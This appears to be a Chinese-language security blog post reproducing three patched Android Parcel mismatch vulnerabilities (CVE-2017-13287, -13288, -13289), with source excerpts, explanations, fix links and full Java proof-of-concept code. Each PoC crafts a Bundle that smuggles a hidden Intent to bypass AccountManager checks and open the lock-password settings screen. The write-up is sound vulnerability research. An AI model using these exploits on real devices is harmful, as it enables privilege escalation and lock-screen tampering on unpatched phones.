参考相关文章,完成一下Android的几个反序列化漏洞的PoC代码。原理是相似的,只是出现序列化缺陷的类有不同,构造方法也有细微的区别。
CEV-2017-13311和CVE-2017-13315只能以后有时间再补上了。
Bundle风水——Android序列化与反序列化不匹配漏洞详解 - 先知社区 (aliyun.com)
CVE-2017-13286
详细分析在之前的一篇文章:CVE-2017-13286 复现 | Slient2009
CVE-2017-13287
对应的类是core/java/com/android/internal/widget/VerifyCredentialResponse.java
当mResponseCode=RESPONSE_OK=0
时,一定会从Parcel
中再读取一个int
视作mPayload
的长度,但是在序列化过程中,只会在mPayload!=null
才会写出PayloadSize
和mPayload
。
如果构造ResponseCode=0
和size=0
,在反序列化过程中,会读入这两个值,并且使得Payload=null
。但是在序列化过程中,只会写出ResponseCode=0
。由此,导致了内存在序列化前后的不一致。
具体构造方法如下:
- 构造一个
VerifyCredentialResponse
,responseCode=0
且payloadSize=0
,但是不会读入payloadByteArray
。构造一个ByteArray
对象,key=0xC11171
(末尾的0
表示String的阶段),value
中内含一个恶意intent
。后加一个String
对象用于填充。
- 第二次序列化时,
VerifyCredentialResponse
不会写出payloadSize=0
,但是在第二次反序列化时会读入payloadSize=0x0C
。
因此在反序列化过程中,后续的0xC111
作为payload
被读入。需要注意的是,payload
的读入具体由android_os_Parcel_readByteArray()完成,0xC=12
将被视作byte array
的长度,0x111
是具体内容。
因此,后续的0x7
被视作第二个键的长度,接下来的0
、D
以及L(原bytes的长度)
被解析为键名,0x6
表示键值是个Long
,LONG
是具体的数值。
接着,intent
就暴露出来,从而绕过了intent
的签名检查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| static jboolean android_os_Parcel_readByteArray(JNIEnv* env, jclass clazz, jlong nativePtr, jobject dest, jint destLen){ jboolean ret = JNI_FALSE; Parcel* parcel = reinterpret_cast<Parcel*>(nativePtr); if (parcel == NULL) { return ret; } int32_t len = parcel->readInt32(); if (len >= 0 && len <= (int32_t)parcel->dataAvail() && len == destLen) { jbyte* ar = (jbyte*)env->GetPrimitiveArrayCritical((jarray)dest, 0); if (ar) { const void* data = parcel->readInplace(len); memcpy(ar, data, len); env->ReleasePrimitiveArrayCritical((jarray)dest, ar, 0); ret = JNI_TRUE; } } return ret; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| public Bundle poc2017_13287(){ Bundle retBundle = new Bundle(); Parcel bundleData = Parcel.obtain(); Parcel craftData = Parcel.obtain();
craftData.writeInt(3);
craftData.writeString("object1"); craftData.writeInt(4); craftData.writeString("com.android.internal.widget.VerifyCredentialResponse"); craftData.writeInt(0); craftData.writeInt(0);
craftData.writeInt(12); craftData.writeInt(12); craftData.writeInt(1); craftData.writeInt(1); craftData.writeInt(1); craftData.writeInt(7); craftData.writeInt(1); craftData.writeInt(0);
craftData.writeInt(13);
craftData.writeInt(-1); int ByteArrayStartPos = craftData.dataPosition();
craftData.writeInt(6); craftData.writeLong(6);
craftData.writeString(AccountManager.KEY_INTENT); craftData.writeInt(4); craftData.writeString("android.content.Intent"); craftData.writeString(Intent.ACTION_RUN); Uri.writeToParcel(craftData, null); craftData.writeString(null); craftData.writeInt(0x10000000); craftData.writeString(null); craftData.writeString("com.android.settings"); craftData.writeString("com.android.settings.ChooseLockPassword"); craftData.writeInt(0); craftData.writeInt(0); craftData.writeInt(0); craftData.writeInt(0); craftData.writeInt(-2); craftData.writeBundle(null);
int ByteArrayEndPos = craftData.dataPosition(); int ByteArrayLength = ByteArrayEndPos - ByteArrayStartPos; craftData.setDataPosition(ByteArrayStartPos - 4); craftData.writeInt(ByteArrayLength); craftData.setDataPosition(ByteArrayEndPos); Log.i(TAG, "the length of INTENT = " + ByteArrayLength);
craftData.writeString("PaddingK"); craftData.writeInt(0); craftData.writeString("PaddingV");
int length = craftData.dataSize(); bundleData.writeInt(length); bundleData.writeInt(0x4c444E42); bundleData.appendFrom(craftData, 0, length); bundleData.setDataPosition(0); retBundle.readFromParcel(bundleData);
return retBundle; }
|
修复措施:Diff - 09ba8fdffd9c8d74fdc6bfb51bcebc27fc43884a^! - platform/frameworks/base - Git at Google (googlesource.com)
CVE-2017-13288
对应的类是core/java/android/bluetooth/le/PeriodicAdvertisingReport.java
这个漏洞类似于CVE-2017-13286,相当于都是多写了一个int
,构造方法如图所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| public Bundle poc2017_13288(){ Bundle retBundle = new Bundle(); Parcel bundleData = Parcel.obtain(); Parcel craftData = Parcel.obtain();
craftData.writeInt(3);
craftData.writeString("PARPAR"); craftData.writeInt(4); craftData.writeString("android.bluetooth.le.PeriodicAdvertisingReport"); craftData.writeInt(1); craftData.writeInt(1); craftData.writeInt(1); craftData.writeInt(1); craftData.writeInt(1); craftData.writeInt(1); craftData.writeInt(1);
craftData.writeInt(1); craftData.writeInt(6); craftData.writeInt(13);
craftData.writeInt(-1); int ByteArrayStartPos = craftData.dataPosition();
craftData.writeString(AccountManager.KEY_INTENT); craftData.writeInt(4); craftData.writeString("android.content.Intent"); craftData.writeString(Intent.ACTION_RUN); Uri.writeToParcel(craftData, null); craftData.writeString(null); craftData.writeInt(0x10000000); craftData.writeString(null); craftData.writeString("com.android.settings"); craftData.writeString("com.android.settings.ChooseLockPassword"); craftData.writeInt(0); craftData.writeInt(0); craftData.writeInt(0); craftData.writeInt(0); craftData.writeInt(-2); craftData.writeBundle(null);
int ByteArrayEndPos = craftData.dataPosition(); int ByteArrayLength = ByteArrayEndPos - ByteArrayStartPos; craftData.setDataPosition(ByteArrayStartPos - 4); craftData.writeInt(ByteArrayLength); craftData.setDataPosition(ByteArrayEndPos);
craftData.writeString("Padding"); craftData.writeInt(0); craftData.writeString("Padding");
int length = craftData.dataSize(); bundleData.writeInt(length); bundleData.writeInt(0x4c444E42); bundleData.appendFrom(craftData, 0, length); bundleData.setDataPosition(0); retBundle.readFromParcel(bundleData); return retBundle; }
|
修复措施:Diff - b796cd32a45bcc0763c50cc1a0cc8236153dcea3^! - platform/frameworks/base - Git at Google (googlesource.com)
CVE-2017-13289
对应的类是wifi/java/android/net/wifi/RttManager.java - platform/frameworks/base - Git at Google (googlesource.com),有5个内部类实现了Parcelable
,一一观察,可以发现问题出在ParcelableRttResults
这里。
这个内部类的序列化工作涉及到了很多的字段,缺陷代码如图标注所示,本应用writeByteArray()
却写成了writeByte()
,多数情况下会少写出若干Byte
,从而造成内存向前错位。
关于writeByte()
、readByte()
、readByteArray()
的函数实现如下所示:
读入ByteArray
时,会先读一个int
表示Array的长度,后续的一定长度的内存空间才是Array的具体内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public final class Parcelable { public final void writeByte(byte val) { writeInt(val); } public final byte readByte() { return (byte)(readInt() & 0xff); } public final void readByteArray(byte[] val) { boolean valid = nativeReadByteArray(mNativePtr, val, (val != null) ? val.length : 0); if (!valid) { throw new RuntimeException("bad array lengths"); } } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| static const JNINativeMethod gParcelMethods[] = { ...... {"nativeWriteByteArray", "(J[BII)V", (void*)android_os_Parcel_writeByteArray}, ...... } static void android_os_Parcel_writeByteArray(JNIEnv* env, jclass clazz, jlong nativePtr, jobject data, jint offset, jint length) { Parcel* parcel = reinterpret_cast<Parcel*>(nativePtr); if (parcel == NULL) { return; } const status_t err = parcel->writeInt32(length); if (err != NO_ERROR) { signalExceptionForError(env, clazz, err); return; } void* dest = parcel->writeInplace(length); if (dest == NULL) { signalExceptionForError(env, clazz, NO_MEMORY); return; } jbyte* ar = (jbyte*)env->GetPrimitiveArrayCritical((jarray)data, 0); if (ar) { memcpy(dest, ar + offset, length); env->ReleasePrimitiveArrayCritical((jarray)data, ar, 0); } }
|
构造方法如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| public Bundle poc2017_13289(){ Bundle retBundle = new Bundle(); Parcel bundleData = Parcel.obtain(); Parcel craftData = Parcel.obtain();
craftData.writeInt(3);
craftData.writeString("PRRPRR"); craftData.writeInt(4); craftData.writeString("android.net.wifi.RttManager$ParcelableRttResults"); craftData.writeInt(1); craftData.writeString("bssid"); craftData.writeInt(1); craftData.writeInt(1); craftData.writeInt(1); craftData.writeInt(1); craftData.writeInt(1); craftData.writeInt(1); craftData.writeInt(1);
craftData.writeLong(1);
craftData.writeInt(1); craftData.writeInt(1); craftData.writeInt(1);
craftData.writeLong(1); craftData.writeLong(1); craftData.writeLong(1);
craftData.writeInt(1); craftData.writeInt(1); craftData.writeInt(1); craftData.writeInt(1); craftData.writeInt(1);
craftData.writeByte((byte) 255);
craftData.writeByte((byte) 4); craftData.writeByte((byte) 4); craftData.writeByteArray( new byte[]{1,2,3,4});
craftData.writeByte((byte) 1);
craftData.writeInt(1); craftData.writeInt(4); craftData.writeInt(13);
craftData.writeInt(-1); int ByteArrayStartPos = craftData.dataPosition();
craftData.writeInt(0); craftData.writeInt(6); craftData.writeLong(1);
craftData.writeString(AccountManager.KEY_INTENT); craftData.writeInt(4); craftData.writeString("android.content.Intent"); craftData.writeString(Intent.ACTION_RUN); Uri.writeToParcel(craftData, null); craftData.writeString(null); craftData.writeInt(0x10000000); craftData.writeString(null); craftData.writeString("com.android.settings"); craftData.writeString("com.android.settings.ChooseLockPassword"); craftData.writeInt(0); craftData.writeInt(0); craftData.writeInt(0); craftData.writeInt(0); craftData.writeInt(-2); craftData.writeBundle(null);
int ByteArrayEndPos = craftData.dataPosition(); int ByteArrayLength = ByteArrayEndPos - ByteArrayStartPos; craftData.setDataPosition(ByteArrayStartPos - 4); craftData.writeInt(ByteArrayLength); craftData.setDataPosition(ByteArrayEndPos); Log.i(TAG, "INTENT length = " + ByteArrayLength);
craftData.writeString("Padding"); craftData.writeInt(0); craftData.writeString("Padding");
int length = craftData.dataSize(); bundleData.writeInt(length); bundleData.writeInt(0x4c444E42); bundleData.appendFrom(craftData, 0, length); bundleData.setDataPosition(0); retBundle.readFromParcel(bundleData); return retBundle; }
|
修复措施:Diff - 5a3d2708cd2289a4882927c0e2cb0d3c21a99c02^! - platform/frameworks/base - Git at Google (googlesource.com)